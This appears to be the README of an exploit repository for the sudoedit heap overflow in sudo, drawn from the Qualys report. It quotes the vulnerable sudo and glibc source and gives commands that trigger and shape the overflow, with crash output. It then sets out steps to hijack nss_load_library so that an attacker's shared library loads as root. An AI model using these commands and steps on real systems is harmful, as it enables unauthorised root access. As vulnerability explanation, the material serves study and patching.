In this document we include all the knowledge necessary in order to understand the code in this repository and why it works. All the explaination is based on the report created by QUALYS. There more forms of exploitation are explained.
The vulnerable versions of sudo are legacy versions from 1.8.2 to 1.8.31p2 and all stable version from 1.9.0 to 1.9.5p1, in their default configuration.
This repositiory is tested on Ubuntu 20.04 (sudo 1.8.31). In it we open a terminal with root privileges.
If Sudo is executed to run a command in shell mode:
- Through the
-s
option, which set sudo'sMODE_SHELL
flags. - Through the
-i
option, which sets sudo'sMODE_SHELL
andMODE_LOGIN_SHELL
flags.
Then at the begining of sudo's main()
, parse_args()
rewrites argv, by concatenating all command-line arguments and
by escaping all meta-characters with backslashes.
if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {
char **av, *cmnd = NULL;
int ac = 1;
cmnd = dst = reallocarray(NULL, cmnd_size, 2);
for (av = argv; *av != NULL; av++) {
for (src = *av; *src != '\0'; src++) {
/* quote potential meta characters */
if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$')
*dst++ = '\\';
*dst++ = *src;
}
*dst++ = ' ';
}
...
ac += 2; /* -c cmnd */
...
av = reallocarray(NULL, ac + 1, sizeof(char *));
...
av[0] = (char *)user_details.shell; /* plugin may override shell */
if (cmnd != NULL) {
av[1] = "-c";
av[2] = cmnd;
}
av[ac] = NULL;
argv = av;
argc = ac;
}
Later, in sudoers_policy_main()
, set_cmnd()
concatenates the command-line arguments into a heap-based buffer
user_args
and unescapes the meta-characters, "for sudoers matching and logging purposes":
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
for (size = 0, av = NewArgv + 1; *av; av++)
size += strlen(*av) + 1;
if (size == 0 || (user_args = malloc(size)) == NULL) {
...
}
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {
...
for (to = user_args, av = NewArgv + 1; (from = *av); av++) {
while (*from) {
if (from[0] == '\\' && !isspace((unsigned char)from[1]))
from++;
*to++ = *from++;
}
*to++ = ' ';
}
...
}
...
}
If a command-line argument ends with a single backlash character, then:
from[0]
is the backlash character andfrom[1]
the null terminatorfrom
is incremented and points to the null terminator- The null terminator is copied to the
user_args
buffer andfrom
incremented again and points out of bounds - The while loop reads and copies out-of-bounds characters to the
user_args
buffer.
In other words, set_cmnd()
is vulnerable to a heap-based buffer overflow, because the out-of-bounds characters that
are copied to the user_args
buffer were not included in its size.
In theory, however, no command-line argument can end with a single backslash character: if MODE_SHELL
or
MODE_LOGIN_SHELL
is set (a necessary condition for reaching the vulnerable code), then MODE_SHELL
is set and
parse_args()
already escaped all meta-characters, including backslashes (i.e., it escaped every single backslash
with a second backslash).
In practice, however, the vulnerable code in set_cmnd()
and the escape code in parse_args()
are surrounded by
slightly different conditions:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
...
if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {`
versus:
if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) {
ur question, then, is: can we set MODE_SHELL
and either MODE_EDIT
or MODE_CHECK
(to reach the vulnerable code)
but not the default MODE_RUN
(to avoid the escape code)?
The answer, it seems, is no: if we set MODE_EDIT
(-e
option) or MODE_CHECK
(-l option), then parse_args()
removes MODE_SHELL
from the valid_flags
and exits with an error if we specify an invalid flag such as
MODE_SHELL
):
case 'e':
...
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
valid_flags = MODE_NONINTERACTIVE;
break;
...
case 'l':
...
mode = MODE_LIST;
valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
break;
...
if (argc > 0 && mode == MODE_LIST)
mode = MODE_CHECK;
...
if ((flags & valid_flags) != flags)
usage(1);
But we found a loophole: if we execute Sudo as sudoedit
instead of sudo
, then parse_args()
automatically sets
MODE_EDIT
but does not reset valid_flags
, and the valid_flags
include MODE_SHELL
by default:
#define DEFAULT_VALID_FLAGS (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL)
...
int valid_flags = DEFAULT_VALID_FLAGS;
...
proglen = strlen(progname);
if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) {
progname = "sudoedit";
mode = MODE_EDIT;
sudo_settings[ARG_SUDOEDIT].value = "true";
}
Consequently, if we execute "sudoedit -s", then we set both MODE_EDIT
and MODE_SHELL
(but not MODE_RUN
), we avoid
the escape code, reach the vulnerable code, and overflow the heap-based buffer user_args
through a command-line
argument that ends with a single backslash character:
sudoedit -s '\' `perl -e 'print "A" x 65536'`
malloc(): corrupted top size
Aborted (core dumped)
From an attacker's point of view, this buffer overflow is ideal:
- We control the size of the
user_args
buffer that we overflow (the size of our concatenated command-line arguments); - We independently control the size and contents of the overflow itself (our last command-line argument is conveniently followed by our first environment variables, which are not included in the size calculation);
- We can even write null bytes to the buffer that we overflow (every command-line argument or environment variable that
ends with a single backslash writes a null byte to
user_args
).
For example, on an amd64 Linux, the following command allocates a 24-byte user_args
buffer (a 32-byte heap chunk) and
overwrites the next chunk' size
field with "A=a\0B=b\0" (0x00623d4200613d41), its fd
field with "C=c\0D=d\0"
(0x00643d4400633d43), and its bk
field with "E=e\0F=f\0" (0x00663d4600653d45):
env -i 'AA=a\' 'B=b\' 'C=c\' 'D=d\' 'E=e\' 'F=f' sudoedit -s '1234567890123456789012\'
--|--------+--------+--------+--------|--------+--------+--------+--------+--
| | |12345678|90123456|789012.A|A=a.B=b.|C=c.D=d.|E=e.F=f.|
--|--------+--------+--------+--------|--------+--------+--------+--------+--
size <---- user_args buffer ----> size fd bk
Program received signal SIGSEGV, Segmentation fault.
0x00007f6bf9c294ee in nss_load_library (ni=ni@entry=0x55cf1a1dd040) at nsswitch.c:344
=> 0x7f6bf9c294ee <nss_load_library+46>: cmpq $0x0,0x8(%rbx)
rbx 0x41414141414141 18367622009667905
The function crashing is nss_load_library()
from glibc (at line 344) because the pointer library
was overwritten.
static int
nss_load_library (service_user *ni)
{
if (ni->library == NULL)
{
ni->library = nss_new_service (service_table ?: &default_table,
ni->name);
}
if (ni->library->lib_handle == NULL)
{
/* Load the shared library. */
size_t shlen = (7 + strlen (ni->name) + 3
+ strlen (__nss_shlib_revision) + 1);
int saved_errno = errno;
char shlib_name[shlen];
/* Construct shared object name. */
__stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
"libnss_"),
ni->name),
".so"),
__nss_shlib_revision);
ni->library->lib_handle = __libc_dlopen (shlib_name);
The steps to exploit this crash are the following:
- Overwrite
ni->library
withNULL
. this will make the code enter the if clause and start the parsing and loading of the library. - Overwrite
ni->name
with"X/X"
. This originally hold"systemd"
. - Therefore the
__strcpy
lines will parse"libnss_X/X.so.2"
instead of"libnss_systemd.so.2"
. - We therfore are loading the shared library controlled by us
"libnss_X/X.so.2"
as root. In it we can do whatever we wish as root.